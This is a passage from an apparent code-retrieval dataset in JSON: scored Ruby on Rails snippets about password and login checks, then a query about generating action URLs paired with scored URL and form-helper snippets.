[ { "docid": "245e174ebc62326d8d828efea5cad1e1", "score": "0.7481954", "text": "def password_required?\n super unless has_facebook_auth\n end", "title": "" }, { "docid": "59528d63a57e1bac88670fe93e3d4282", "score": "0.7460863", "text": "def authenticate_user\n Rails.application.config.use_omniauth ? login_required : check_session\n end", "title": "" }, { "docid": "d1126be48220b9fae8d13cc67795bccd", "score": "0.73974514", "text": "def password_required?\n super && facebook_uid.blank? && twitter_uid.blank? && google_uid.blank?\n end", "title": "" }, { "docid": "4e235fc0a52d94e945cc7a9796feb615", "score": "0.7285648", "text": "def facebook_connect_user?\n facebook_user? and password.blank?\n end", "title": "" }, { "docid": "122e2eab6216b7cba2e913cc2c19e5bd", "score": "0.72249466", "text": "def password_required?\n if new_record? && oauth_account\n false\n else\n super\n end\n end", "title": "" }, { "docid": "894b7333d93572d36dcdf4565d4d2eaf", "score": "0.7134361", "text": "def password_required?\n return false if using_open_id? || fb_user?\n crypted_password.blank? || !password.blank?\n end", "title": "" }, { "docid": "ce1e014903bdb5cf15cd2b7bee34a6ff", "score": "0.71220315", "text": "def password_required?\n # Skip password validations if facebook connect user\n return false if facebook_connect_user?\n crypted_password.blank? || !password.blank?\n end", "title": "" }, { "docid": "f6e098fbaa40675779cef82ecdb4273e", "score": "0.7066281", "text": "def capable_login_auth?; end", "title": "" }, { "docid": "2b90145abdb019350f086f1b794aee7a", "score": "0.70551497", "text": "def password_required?\n is_user? && super && provider.blank? # provider.blank?\n end", "title": "" }, { "docid": "1031c2da55684b13803af3ff7ad208ad", "score": "0.70359486", "text": "def passwordy?\n # puts \"*****************----------------> Handling user as PASSWORDY.\"\n !self.has_oauth?\n end", "title": "" }, { "docid": "d3b9d9666f924f2394bf3b4b309ec73a", "score": "0.70168275", "text": "def password_required?\n new_record? ? not_using_openid? && (crypted_password.blank? || !password.blank?) : !password.blank?\n end", "title": "" }, { "docid": "d3b9d9666f924f2394bf3b4b309ec73a", "score": "0.70168275", "text": "def password_required?\n new_record? ? not_using_openid? && (crypted_password.blank? || !password.blank?) : !password.blank?\n end", "title": "" }, { "docid": "d3b9d9666f924f2394bf3b4b309ec73a", "score": "0.70168275", "text": "def password_required?\n new_record? ? not_using_openid? && (crypted_password.blank? || !password.blank?) : !password.blank?\n end", "title": "" }, { "docid": "d3b9d9666f924f2394bf3b4b309ec73a", "score": "0.70168275", "text": "def password_required?\n new_record? ? not_using_openid? && (crypted_password.blank? || !password.blank?) : !password.blank?\n end", "title": "" }, { "docid": "d3b9d9666f924f2394bf3b4b309ec73a", "score": "0.70168275", "text": "def password_required?\n new_record? ? not_using_openid? && (crypted_password.blank? || !password.blank?) : !password.blank?\n end", "title": "" }, { "docid": "8010ab0ca62459d4bf0066d34f6d17e2", "score": "0.69976014", "text": "def password_required?\n (authentications.empty? || !password.blank?) && super\n end", "title": "" }, { "docid": "8010ab0ca62459d4bf0066d34f6d17e2", "score": "0.69976014", "text": "def password_required?\n (authentications.empty? || !password.blank?) && super\n end", "title": "" }, { "docid": "8010ab0ca62459d4bf0066d34f6d17e2", "score": "0.69976014", "text": "def password_required?\n (authentications.empty? || !password.blank?) && super\n end", "title": "" }, { "docid": "d67ae3446ff95825dc78970ac9d27a54", "score": "0.69968", "text": "def password_required?\n super && authorizations.length == 0 && !auth_temp_token\n end", "title": "" }, { "docid": "47b814d87ec451b4de8208d41d2c7978", "score": "0.69743085", "text": "def fully_authed?\n !(user.nil? || password.nil?)\n end", "title": "" }, { "docid": "fd63688133bc585cf1aa607de3ec0aa8", "score": "0.6927464", "text": "def password_required?\n (identities.empty? || !password.blank?) && super\n end", "title": "" }, { "docid": "9fe686c228f33148b445e8143beac52f", "score": "0.6914451", "text": "def password_required?\n super && uid.blank?\n end", "title": "" }, { "docid": "2b82767c81b3a6e32fb682322a5f538c", "score": "0.6856289", "text": "def password_required?\n\t\t(authentications.empty? || !password.blank?) && super\n\tend", "title": "" }, { "docid": "d2aad70f9d4bcb20a42a2f6d6730e34d", "score": "0.68386495", "text": "def authenticate(password)\n user && user.password == password\n end", "title": "" }, { "docid": "0ce5c177a8aadb4b640a602d3a9352f0", "score": "0.6814125", "text": "def logged_in?\n session[:password] == true\n end", "title": "" }, { "docid": "6c8af82c476dbedcc5e4aae0333d7432", "score": "0.6797353", "text": "def needs_login?() false end", "title": "" }, { "docid": "a37c2d7aa7709cfd4633008b16e5f989", "score": "0.67835116", "text": "def authenticating_with_password?\n authenticating_with == :password\n end", "title": "" }, { "docid": "553b40a57fd1d342c96fcda81fcdfd00", "score": "0.67596656", "text": "def password_required?\n logger.debug \"authentications: #{authentications.inspect}\"\n if authentications.blank? || authentications.first.provider.blank?\n super\n end\n end", "title": "" }, { "docid": "834c6ebe4701422f6932a6c4de36a376", "score": "0.67505044", "text": "def has_no_password?\n #super\n self.encrypted_password.blank? || (self.uid && self.provider)\n end", "title": "" }, { "docid": "eb2ed46a633f0cbc2f5b540becc365d6", "score": "0.6749977", "text": "def password_blank?\n params[:user][:password].blank?\n end", "title": "" }, { "docid": "b45ee11356ef072312a03a47e7aaed76", "score": "0.6743652", "text": "def auth_provided?\n !username.nil? && !password.nil?\n end", "title": "" }, { "docid": "2c2c6e9eafe86e8995136282f6894d6a", "score": "0.67229235", "text": "def login_required?\n true\n end", "title": "" }, { "docid": "7907c5f4148f0a1c0ed9488fbaacd2e0", "score": "0.6715276", "text": "def needs_password?(user, params)\n user.email != params[:email] ||\n params[:password].present?\n end", "title": "" }, { "docid": "d194668fe3a325ab5346e5b576c84c76", "score": "0.6711306", "text": "def loggedin?\n !(@auth=='' or @auth.nil?)\n end", "title": "" }, { "docid": "15c9b8f5e22c41fbedec2cc731e8fc35", "score": "0.6685856", "text": "def password_blank?\n params[:profile][:password].blank?\n end", "title": "" }, { "docid": "96f133e6d68bbc4e841611d0af604982", "score": "0.6683657", "text": "def password_required?\n self.provider.blank?\n end", "title": "" }, { "docid": "94270adafd736054166e0e7079096852", "score": "0.66814303", "text": "def password_required?\n provider.blank? && super\n end", "title": "" }, { "docid": "af20aac542cc0b200fca36c72c7ace24", "score": "0.66795135", "text": "def login_required\n authenticate_user! \n end", "title": "" }, { "docid": "01397e08d0bdb5a28a9734c22e8c14d4", "score": "0.6672964", "text": "def password_required?\n super && identities.empty?\n end", "title": "" }, { "docid": "1c43d63033672fffd38390bcd0ebb93a", "score": "0.6660623", "text": "def needs_password?(user, params)\n user.email != params[:user][:email] || params[:user][:password].present?\n end", "title": "" }, { "docid": "0d21e357e5a4eaca11bdb19d806131b3", "score": "0.66567004", "text": "def needs_password?(_user, params)\n params[:password].present?\n end", "title": "" }, { "docid": "daf7754e5840a6d6c76dc6ef2dc354df", "score": "0.66484725", "text": "def needs_password?(user, params)\n #user.email != params[:user][:email] ||\n params[:user][:password].present?\n end", "title": "" }, { "docid": "67d694bbd6b856287b2b9447ff2640bd", "score": "0.66482455", "text": "def password_required?\n super && authentications.blank?\n end", "title": "" }, { "docid": "d50e5ad812f4a6e274d884ee22adfcbe", "score": "0.6632643", "text": "def password_required?\n super && provider.blank?\n end", "title": "" }, { "docid": "d50e5ad812f4a6e274d884ee22adfcbe", "score": "0.6632643", "text": "def password_required?\n super && provider.blank?\n end", "title": "" }, { "docid": "d50e5ad812f4a6e274d884ee22adfcbe", "score": "0.6632643", "text": "def password_required?\n super && provider.blank?\n end", "title": "" }, { "docid": "d50e5ad812f4a6e274d884ee22adfcbe", "score": "0.6632643", "text": "def password_required?\n super && provider.blank?\n end", "title": "" }, { "docid": "d50e5ad812f4a6e274d884ee22adfcbe", "score": "0.6632643", "text": "def password_required?\n super && provider.blank?\n end", "title": "" }, { "docid": "d50e5ad812f4a6e274d884ee22adfcbe", "score": "0.6632643", "text": "def password_required?\n super && provider.blank?\n end", "title": "" }, { "docid": "d50e5ad812f4a6e274d884ee22adfcbe", "score": "0.6632643", "text": "def password_required?\n super && provider.blank?\n end", "title": "" }, { "docid": "d50e5ad812f4a6e274d884ee22adfcbe", "score": "0.6632643", "text": "def password_required?\n super && provider.blank?\n end", "title": "" }, { "docid": "d50e5ad812f4a6e274d884ee22adfcbe", "score": "0.6632643", "text": "def password_required?\n super && provider.blank?\n end", "title": "" }, { "docid": "d50e5ad812f4a6e274d884ee22adfcbe", "score": "0.6632643", "text": "def password_required?\n super && provider.blank?\n end", "title": "" }, { "docid": "d50e5ad812f4a6e274d884ee22adfcbe", "score": "0.6632643", "text": "def password_required?\n super && provider.blank?\n end", "title": "" }, { "docid": "d50e5ad812f4a6e274d884ee22adfcbe", "score": "0.6632643", "text": "def password_required?\n super && provider.blank?\n end", "title": "" }, { "docid": "d50e5ad812f4a6e274d884ee22adfcbe", "score": "0.6632643", "text": "def password_required?\n super && provider.blank?\n end", "title": "" }, { "docid": "d50e5ad812f4a6e274d884ee22adfcbe", "score": "0.6632643", "text": "def password_required?\n super && provider.blank?\n end", "title": "" }, { "docid": "d50e5ad812f4a6e274d884ee22adfcbe", "score": "0.6632643", "text": "def password_required?\n super && provider.blank?\n end", "title": "" }, { "docid": "d50e5ad812f4a6e274d884ee22adfcbe", "score": "0.6632643", "text": "def password_required?\n super && provider.blank?\n end", "title": "" }, { "docid": "bf1fe8e306841a0c0a622fe2b2b8de33", "score": "0.6625591", "text": "def needs_password?(user, params)\n user.email != params[:user][:email] || !params[:user][:password].blank?\n end", "title": "" }, { "docid": "a149f13ffc901e36420cd95bd1d98a4b", "score": "0.66214406", "text": "def needs_password?(user, params)\n user.email != params[:user][:email] ||\n !params[:user][:password].blank?\n end", "title": "" }, { "docid": "fe29cf86c8f9e58419ff06ef6283c41b", "score": "0.6621181", "text": "def password_required?\n \n ( new_record? && oauth2_uid.nil? ) || !password.nil? || !password_confirmation.nil?\n end", "title": "" }, { "docid": "275307fb896c60ece8e12180a260b8bd", "score": "0.6615373", "text": "def needs_password?(user, params)\n user.email != params[:user][:email] ||\n params[:user][:password].present?\n end", "title": "" }, { "docid": "9c96f8add79fbabc4517aad8e4a4f1c5", "score": "0.6614307", "text": "def password_required?\n return false if provider.to_s == 'google_oauth2'\n super\n end", "title": "" }, { "docid": "0763768d9f7ab90bd8d4bf9fc67ffc8a", "score": "0.6612618", "text": "def needs_password?(user, params)\n user.email != params[:user][:email] ||\n !params[:user][:password].blank?\n end", "title": "" }, { "docid": "c731cb9fd56cd63b3b8fb2ab0ff48021", "score": "0.6609405", "text": "def password_required?\n (!persisted? && user_tokens.empty?) || password.present? || password_confirmation.present?\n end", "title": "" }, { "docid": "0420743cc686acf6787768574e4f18a9", "score": "0.6603322", "text": "def needs_password?(user, params)\n user.email != params[:user][:email] ||\n params[:user][:password].present?\n end", "title": "" }, { "docid": "32e40f148a2c3e0e2601558a6c0cc52e", "score": "0.6600007", "text": "def needs_password?(user, params)\n user.email != params[:user][:email] ||\n params[:user][:password].present?\n end", "title": "" }, { "docid": "6e1c092e869089ba79ab0743302ce57a", "score": "0.65987086", "text": "def password_required?\n return false if !persisted? and provider.present?\n super\n end", "title": "" }, { "docid": "c6bca7ab141e50ee01b343e3b896c8e8", "score": "0.65913504", "text": "def username_password?\n @options[:username] &&\n @options[:password] &&\n @options[:client_id] &&\n @options[:client_secret]\n end", "title": "" }, { "docid": "813b30ae8f7e4edda2b23c450cabb56c", "score": "0.6586085", "text": "def needs_password?(user, params)\n user.email != params[:user][:email] ||\n params[:user][:password].present?\n end", "title": "" }, { "docid": "f1b36b863305667811ffb6fec3455ee8", "score": "0.65819395", "text": "def password_required?; false; end", "title": "" }, { "docid": "f3df51dafa618c1e0b99ddc15c609624", "score": "0.6580365", "text": "def authenticated?\n saved_user = User.find_by(:username => session[:post_user])\n saved_pass = saved_user.encrypted_password\n post_pass = encrypt_password_string(session[:post_pass])\n end", "title": "" }, { "docid": "a16d0fa001d765149f4d6fc5e8a4c9c6", "score": "0.65732914", "text": "def validate_login_with_openid?\n validate_password_with_openid?\n end", "title": "" }, { "docid": "9503306595f52b9f6e3e757b9473953d", "score": "0.6572169", "text": "def validate_login_with_openid?\n validate_password_with_openid?\n end", "title": "" }, { "docid": "9362e2be4907e4048938443e81958458", "score": "0.6571413", "text": "def auth?\n me != nil\n end", "title": "" }, { "docid": "30c1aa4d04efaadc5572435bb7c5d69e", "score": "0.65711486", "text": "def password_required?\n provider.present? ? false : super\n end", "title": "" }, { "docid": "94ff2afe6036e44ef50cb60571f16f32", "score": "0.6561786", "text": "def has_no_password?\n #super\n self.encrypted_password.blank? || self.identity.present?\n end", "title": "" }, { "docid": "8c02dc94c0321d820779eae21b34e38e", "score": "0.6559118", "text": "def valid_for_authentication?; end", "title": "" }, { "docid": "8c02dc94c0321d820779eae21b34e38e", "score": "0.6559118", "text": "def valid_for_authentication?; end", "title": "" }, { "docid": "95e76f2eb2f5f96bbcfa9317f12cb32d", "score": "0.65582657", "text": "def password_required? \n false \n end", "title": "" }, { "docid": "909428daf4329e894a9ef053879e1aa2", "score": "0.65568227", "text": "def password_required?\n new? or password\n end", "title": "" }, { "docid": "4f30dc4796f6b8388be8c1cd43e5fec6", "score": "0.65567356", "text": "def password_required?\n ## only validate a password when no authentication password is available\n ## delegate to super so we can inherit that behaviour too\n (authentications.empty? || !password.blank?) && super\n end", "title": "" }, { "docid": "725650d6b348484046218f847f8f6325", "score": "0.6551168", "text": "def needs_password?(user, params)\n if params[:user][:password]\n !params[:user][:password].blank?\n end\n end", "title": "" }, { "docid": "4e5e9a19df1b4251448a5dba5b2b17c7", "score": "0.65504086", "text": "def requires_password?\n is_new = (respond_to?(:new_record?) && new_record?)\n is_new || !ZeroAuth::Utils.empty?(password)\n end", "title": "" }, { "docid": "129b0409885c3b283ebc1b6f7324f577", "score": "0.6547862", "text": "def valid_user?\n params['username'] && params['password']\n end", "title": "" }, { "docid": "38cccc6b9000acc3e5770d0e791db24b", "score": "0.65431255", "text": "def password_blank?\n params[:ngo][:password].blank?\n end", "title": "" }, { "docid": "308a2e3f8aaa1587113bddcc17889def", "score": "0.6542077", "text": "def authenticate\n if sesssion[:user_id].nil?\n redirect_to login_path, notice: \"You must log in first.\"\n end\n end", "title": "" }, { "docid": "e327823a5f25c2512aee5c7395a8f0a4", "score": "0.653997", "text": "def validate_login_user(params)\n params[\"username\"] and params[\"password\"] and params[\"password\"] == params[\"password_2\"]\n end", "title": "" }, { "docid": "3d55e642c40b5e2967499d778b4b3f58", "score": "0.6538988", "text": "def username_token?\n username && password\n end", "title": "" }, { "docid": "9e5b7a276ec4a890aa34379f227dec66", "score": "0.653836", "text": "def password_required?; end", "title": "" }, { "docid": "d9a6d36a9353149037a4bc08f4fae686", "score": "0.6525607", "text": "def check_if_login_required\n false\n end", "title": "" }, { "docid": "93070a50327be5a7bd8bca549fad8b0b", "score": "0.6520332", "text": "def authorized?\n session[:password] == SETTINGS[\"password\"]\n end", "title": "" }, { "docid": "0a14fa01faa49d9da7bf9adbca30ee0a", "score": "0.65178156", "text": "def require_login\n end", "title": "" }, { "docid": "e6c241ff698f8f5d78cae38ac491a217", "score": "0.65133655", "text": "def password_required?\n new? or password\n end", "title": "" }, { "docid": "0f3bd9c82061a002d0d76edb28ea0e7d", "score": "0.6510506", "text": "def password_required?\n false\n end", "title": "" }, { "docid": "0f3bd9c82061a002d0d76edb28ea0e7d", "score": "0.6510506", "text": "def password_required?\n false\n end", "title": "" }, { "docid": "ac4503f863a700cf62f668ea7b46aadd", "score": "0.6510498", "text": "def logged_in?\n if session[:int_key].nil? || session[:email].nil? || session[:password].nil? || session[:logged_in].nil?\n false\n else\n true\n end\n end", "title": "" }, { "docid": "0a0cb24f8e31c9da98acdf86e6d82858", "score": "0.6508548", "text": "def password_present?\n return self.password\n end", "title": "" }, { "docid": "4b161e4e0908aa239c0111c1cf463723", "score": "0.6508136", "text": "def password_required?\n if authentications.empty?\n super || encrypted_password.blank?\n elsif new_record?\n false\n else\n super || encrypted_password.blank? && authentications.find{|a| a.valid?}.nil?\n end\n end", "title": "" }, { "docid": "4b161e4e0908aa239c0111c1cf463723", "score": "0.6508136", "text": "def password_required?\n if authentications.empty?\n super || encrypted_password.blank?\n elsif new_record?\n false\n else\n super || encrypted_password.blank? && authentications.find{|a| a.valid?}.nil?\n end\n end", "title": "" } ]
6cca3a912b2f2c22b34e99f56903cdc5
generate an action URL of the form
[ { "docid": "0f6096825eb5e0bc4fb4a026233980c0", "score": "0.5607426", "text": "def action_url(namespace, path = nil)\n [self.path, \"#{ACTION_SEPARATOR}#{namespace}\", path].compact.join(S::Constants::SLASH).gsub(%r{//}, '/')\n end", "title": "" } ]
[ { "docid": "e6d1841f362e70c1e8ebfd2ef8395826", "score": "0.70956016", "text": "def action\n form_data['action']\n end", "title": "" }, { "docid": "5afc8309c888a8034ee27ad2a918fba7", "score": "0.69774437", "text": "def form_url\n URL\n end", "title": "" }, { "docid": "d05b6e6b753aa09fc484ac319492a639", "score": "0.69057465", "text": "def build_url(action)\n \"#{@base_url}#{action}\"\n end", "title": "" }, { "docid": "54b9b0c00ecbf527bba3d14ddf0d5d29", "score": "0.66442287", "text": "def action\n self.params[:action]\n end", "title": "" }, { "docid": "648ba275e7d7515f63f13ae102dca0bb", "score": "0.6595741", "text": "def generate_action_url(main_controller, action_name)\n get main_controller + '/' + action_name, to: main_controller + '#' + action_name\n end", "title": "" }, { "docid": "eed2924afdf9feaac6295385aa10c5ea", "score": "0.65371394", "text": "def restful_submit_tag(value, action, url, method, options = {})\n hidden_field_tag(\"__map[#{action}][url]\", url) <<\n hidden_field_tag(\"__map[#{action}][method]\", method.upcase) <<\n submit_tag(value, {:name => \"__rewrite[#{action}]\"}.reverse_merge!(options))\n end", "title": "" }, { "docid": "179bc55eae73027f7362f67876c9c254", "score": "0.6324568", "text": "def eds_action_url eds_action\n search_action_url + '?' + generate_next_url + '&eds_action=' + eds_action\n end", "title": "" }, { "docid": "b0e412f46951ea7ece0dc481ed33a996", "score": "0.63107073", "text": "def action\n @params['action'] || @params[:action]\n end", "title": "" }, { "docid": "a8bfb79967e70422afc1283d5894b984", "score": "0.6285345", "text": "def submit_touchpoint_uuid_url(form)\n return \"#{root_url}touchpoints/#{form.short_uuid}/submit\"\n end", "title": "" }, { "docid": "78ee91d721415380b50a540b12cf8bba", "score": "0.62591964", "text": "def action_url\n view_context.url_for(question)\n end", "title": "" }, { "docid": "bb99a59e2d02f3fcc9c181f61b1175ef", "score": "0.62313956", "text": "def url\n @current_controller.url_for :controller => @controller_name, :action => @action_name\n end", "title": "" }, { "docid": "ae7b78fc046f674c8e3ea5231bd59ce5", "score": "0.6141972", "text": "def fb_action(name, url)\n \"<fb:action href=\\\"#{url_for(url)}\\\">#{name}</fb:action>\"\n end", "title": "" }, { "docid": "ae7b78fc046f674c8e3ea5231bd59ce5", "score": "0.6141972", "text": "def fb_action(name, url)\n \"<fb:action href=\\\"#{url_for(url)}\\\">#{name}</fb:action>\"\n end", "title": "" }, { "docid": "dee79e67a7a74dc654a315ad6a63a386", "score": "0.6139516", "text": "def url_for(params)\n \"#{root_url}openid/#{params[:action]}\"\n end", "title": "" }, { "docid": "8e608c65239ee5e07437ca7531d75161", "score": "0.6090722", "text": "def url_for_me(action)\n if action == 'show'\n \"/projects/#{project.to_param}/documents/#{to_param}\"\n else\n \"/projects/#{project.to_param}/documents/#{to_param}/#{action}\"\n end\n end", "title": "" }, { "docid": "bf4ebfaf7fa2fdcf45a35b7c9a10c0b8", "score": "0.60557294", "text": "def scaffold_url(action, options = {})\n escaped_options = {}\n options.each{|k,v| escaped_options[u(k.to_s)] = u(v.to_s)}\n id = escaped_options.delete('id')\n id = id ? \"/#{id}\" : ''\n id << \"?#{escaped_options.to_a.collect{|k,v| \"#{k}=#{v}\"}.join('&')}\" unless escaped_options.empty?\n \"#{@scaffold_path}/#{action}#{id}\"\n end", "title": "" }, { "docid": "09bed2278a9d232ff044645225a0a08e", "score": "0.60376173", "text": "def action\n action_name.to_sym\n end", "title": "" }, { "docid": "c034ac95e33135f99f4231972e07d487", "score": "0.5977704", "text": "def make_protected_action_link(controller, action, id, text, onclick = nil)\n opts = {:type => 'image',\n :name => 'submit',\n :alt => action.humanize,\n :src => image_path(\"#{controller}/#{action}.png\")}\n\n unless (onclick.nil? or onclick.empty?)\n opts[:onclick] = \"return confirm('#{onclick}');\"\n end\n\n html = form_tag({:controller => controller, :action => action, :id => id})\n html << tag.input(opts)\n html << '</form>'.html_safe()\n\n unless (text.nil? or text.empty?)\n html << text.html_safe\n end\n\n return html\n end", "title": "" }, { "docid": "61fff5ecadfd2dfc979455fa7ae70095", "score": "0.5959137", "text": "def scaffold_button_to(text, url, options={})\n \"#{scaffold_form(url, options)}\\n<input type='submit' value='#{text}' />\\n</form>\"\n end", "title": "" }, { "docid": "5dce7c299d519d945e49f6337d75bd6b", "score": "0.59541756", "text": "def build_url(action, query=nil)\n url = URI.parse($base_url).merge(action).to_s\n url = OpenID::Util.append_args(url, query) unless query.nil?\n return url\n end", "title": "" }, { "docid": "94fe703ed882565a775e510903b64383", "score": "0.5927324", "text": "def url_for_me(action)\n if action == 'show'\n \"/projects/#{to_param}\"\n else\n \"/projects/#{to_param}/#{action}\"\n end\n end", "title": "" }, { "docid": "87c9ae113298b1e144d25c4bee695d0b", "score": "0.59255904", "text": "def url_for_me(action)\n if action == 'show'\n \"/articles/#{to_param}\"\n else\n \"/articles/#{to_param}/#{action}\"\n end\n end", "title": "" }, { "docid": "78fe3e17531da48789bf9939a29bae44", "score": "0.5923433", "text": "def _form_url(params)\n #implode params to concat \n url = '?'\n params.each do |key, value|\n #val = URI.escape(unsafe_variable, Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))\n safe_key = URI.escape(key.to_s, Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))\n safe_value = URI.escape(value.to_s, Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))\n url += safe_key + '=' + safe_value + '&'\n end\n url\nend", "title": "" }, { "docid": "e926fb8ca7cf0680d81a8d87422a6e00", "score": "0.5905941", "text": "def search_action_url(options = {})\n blacklight_advanced_search_engine.url_for(options.merge(action: 'index'))\n end", "title": "" }, { "docid": "29da48dc952c653e6623a548ab148c5e", "score": "0.58944625", "text": "def external_form_post_js( label = \"Submit\", action = '', params = {} )\n return \"<input type='button' value='#{label}' onClick='externalFormPost(\" + action.to_json + \",\" + params.to_json + \")'/>\"\n end", "title": "" }, { "docid": "16c2bf92c2eb1554a21f7ed7fe976b00", "score": "0.58806986", "text": "def build_request_path()\n path = \"/#{self.action}\"\n if query_string = build_query_string\n path += \"/#{query_string}\"\n end\n path\n end", "title": "" }, { "docid": "31bc7726cb96ab79f19f3bdf40657498", "score": "0.5855702", "text": "def scaffold_form(url, options={})\n meth = options.delete(:method) || :post\n \"<form action='#{url}' method='#{meth}' #{options[:attributes]}>#{scaffold_token_tag if meth.to_s == 'post'}\"\n end", "title": "" }, { "docid": "11a4fe5aa964ae1065a030fc1b66946d", "score": "0.58542764", "text": "def form_path\n @form_path ||= admin_create_assignment_path(\n assignee_type, assignee_id, assign_to_type)\n end", "title": "" }, { "docid": "5385be43ff29d83bb932d97872794533", "score": "0.58517957", "text": "def payment_form_url\n \"#{host}/form/#{session_token}\"\n end", "title": "" }, { "docid": "2c82e8505cae7c99b1d2412603164dde", "score": "0.58492047", "text": "def form_url(record)\n if has_namespace?\n [app_kit, model.name.deconstantize.underscore.to_sym, record]\n else\n [app_kit, record]\n end\n end", "title": "" }, { "docid": "1a409b78cde6b86568022b7e28b91605", "score": "0.5833513", "text": "def admin_form_url\n ['', controller_path, object_instance.id].join('/')\n end", "title": "" }, { "docid": "058783d1f3531c48cf89b9d27623e9af", "score": "0.58221745", "text": "def action\n @attributes[:action]\n end", "title": "" }, { "docid": "058783d1f3531c48cf89b9d27623e9af", "score": "0.58221745", "text": "def action\n @attributes[:action]\n end", "title": "" }, { "docid": "3d2053ec6898c1cefb47644b1daa6039", "score": "0.5815159", "text": "def quotes_form_action\n if @connection.new_record?\n {controller:'quoting/quotes', action:'create'}\n else\n {controller:'quoting/quotes', action:'update'}\n end\n end", "title": "" }, { "docid": "32665fa04ff759932b39d2dcae5f99b8", "score": "0.5797046", "text": "def form_path\n @form_path ||= create_assignment_path(assign_to_type)\n end", "title": "" }, { "docid": "fb15942754f111588180d9c55772cc45", "score": "0.57740134", "text": "def inquests_url(options)\n url_for({:controller => :inquests, :action => :create}.merge(options))\n end", "title": "" }, { "docid": "c7b0140480d204fcfe1dabe55cf57e6a", "score": "0.57661945", "text": "def action\n if action_name == 'advanced_search'\n :post\n else\n :get\n end\n end", "title": "" }, { "docid": "c696f36a39c2855644c2a55975b12ec3", "score": "0.57562625", "text": "def action_url(base, traits)\n [base, traits[:url]].compact.join(\"/\").squeeze(\"/\")\n end", "title": "" }, { "docid": "6aa324a8cd69a518ac8fec9655aa314a", "score": "0.57561153", "text": "def url_input(method, options)\n basic_input_helper(:url_field, :url, method, options)\n end", "title": "" }, { "docid": "c63a359c289dfb79017ee8c7b1609a14", "score": "0.57344043", "text": "def search_action_url(options = {})\n search_records_path(options.except(:controller, :action))\n end", "title": "" }, { "docid": "d305f33239c69bed1a68b26adba6976c", "score": "0.5729942", "text": "def action_name; end", "title": "" }, { "docid": "fe8bd85fe60c17938ba564afb8f2fb32", "score": "0.5726829", "text": "def submit_url(**options)\n post_request(\"/submit/url-for-analysis\", options)\n end", "title": "" }, { "docid": "fe8bd85fe60c17938ba564afb8f2fb32", "score": "0.5726829", "text": "def submit_url(**options)\n post_request(\"/submit/url-for-analysis\", options)\n end", "title": "" }, { "docid": "f6518d9a667268b3e4b2d0225d22a977", "score": "0.57172054", "text": "def issue_action\n request.request_parameters['action']\n end", "title": "" }, { "docid": "328f016a0a3dca4ae873398984bedad6", "score": "0.5710217", "text": "def link_to_submit text, args\n link_to_function text, \"$(this).closest('form').submit()\", args\n end", "title": "" }, { "docid": "42997a3900b833a6ae7ea2beed95db42", "score": "0.57070905", "text": "def build_uri(action, options)\n case action\n when 'sale'\n \"/ens/service/page/#{options[:page_id]}/process\"\n when 'auth'\n '/ens/service/authenticate'\n end\n end", "title": "" }, { "docid": "eaef681a85dbd6662839d9abbcbf3baf", "score": "0.56886244", "text": "def generate_url(template); end", "title": "" }, { "docid": "44fb9324c39f25835c4edd5ce5729621", "score": "0.56845367", "text": "def perform_action_url\n begin\n if @urls.has_key?('Action')\n return request(@urls['Action'], {}, {}, METHOD_GET)\n end\n rescue\n raise RETSException.new(\"Unable to follow action URL: '#{$!}'.\")\n end\n end", "title": "" }, { "docid": "dfbcf4e73466003f1d1275cdf58a926a", "score": "0.5669232", "text": "def action\n end", "title": "" }, { "docid": "ee8996279e71853b8e6c9c87986bfa5d", "score": "0.5659021", "text": "def scaffold_button_to_remote(text, action, options) \n \"#{scaffold_form_remote_tag(action, options)}\\n<input type='submit' value=#{text} />\\n</form>\"\n end", "title": "" }, { "docid": "6afd8c9f3b21a4a471f28190f2d7775e", "score": "0.5631698", "text": "def render_form(action)\n body_class << action\n @title = t(\"labels.project.#{action}\")\n render :form\n end", "title": "" }, { "docid": "a66231c8093cacba4e12452f05171fa3", "score": "0.5620941", "text": "def form\n end", "title": "" }, { "docid": "ddd99671914abbf0985a9eb07d01ee1c", "score": "0.56101584", "text": "def url\n if self.controller and self.action and self.page_id\n return \"/#{self.controller}/#{self.action}/#{self.page_id}\"\n end\n if self.controller and self.action\n return \"/#{self.controller}/#{self.action}\"\n end\n if self.controller\n return \"/#{self.controller}\"\n end\n return \"/#{self.shortcut}\"\n end", "title": "" }, { "docid": "fbd0db2e787e754fdc383687a476d7ec", "score": "0.5596868", "text": "def action_target()\n \n end", "title": "" }, { "docid": "ad0fc9e030f975350052055c187fec6b", "score": "0.5589201", "text": "def form_submit_button(text=\"Continue\".t, *args)\n fat_turquoise_button_link_to(text, \"#{member_path([@tier, @topic, Kase], :new)}\")\n end", "title": "" }, { "docid": "2e156d1df48a57d7c71c311703b1c546", "score": "0.55821824", "text": "def edit_form_url\n if params[:firm_id]\n @information[:form_url] = firm_trade_path(@parent, @trade)\n @information[:back_path] = firm_path(@parent)\n elsif params[:product_id]\n @information[:form_url] = product_trade_path(@parent, @trade)\n @information[:back_path] = product_path(@parent)\n end\n end", "title": "" }, { "docid": "75b6e264d038a8fc112b85ec2a780d0d", "score": "0.55809677", "text": "def scaffold_url(action, options = {})\n options[:id] ? Rs(action, options.delete(:id), options) : Rs(action, options)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.55468655", "text": "def action\n end", "title": "" }, { "docid": "28df71b5cb2e3a3b0e12cb761b3b5dcc", "score": "0.55417424", "text": "def fb_request_form_submit(options={})\n\t\t\t tag(\"fb:request-form-submit\",stringify_vals(options))\n\t\t\tend", "title": "" }, { "docid": "cc4afd132420b13bd4575caa0558b0d2", "score": "0.5531831", "text": "def search_action_url options = {}\n options = options.to_h if options.is_a? Blacklight::SearchState\n url_for(options.reverse_merge(action: 'index'))\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5528854", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5528854", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5528854", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5528854", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5528854", "text": "def action; end", "title": "" }, { "docid": "5bb97da4a09d40c813b0f54a252bfb63", "score": "0.55259657", "text": "def form_path\n @transient_registration.save unless @transient_registration.token.present?\n\n 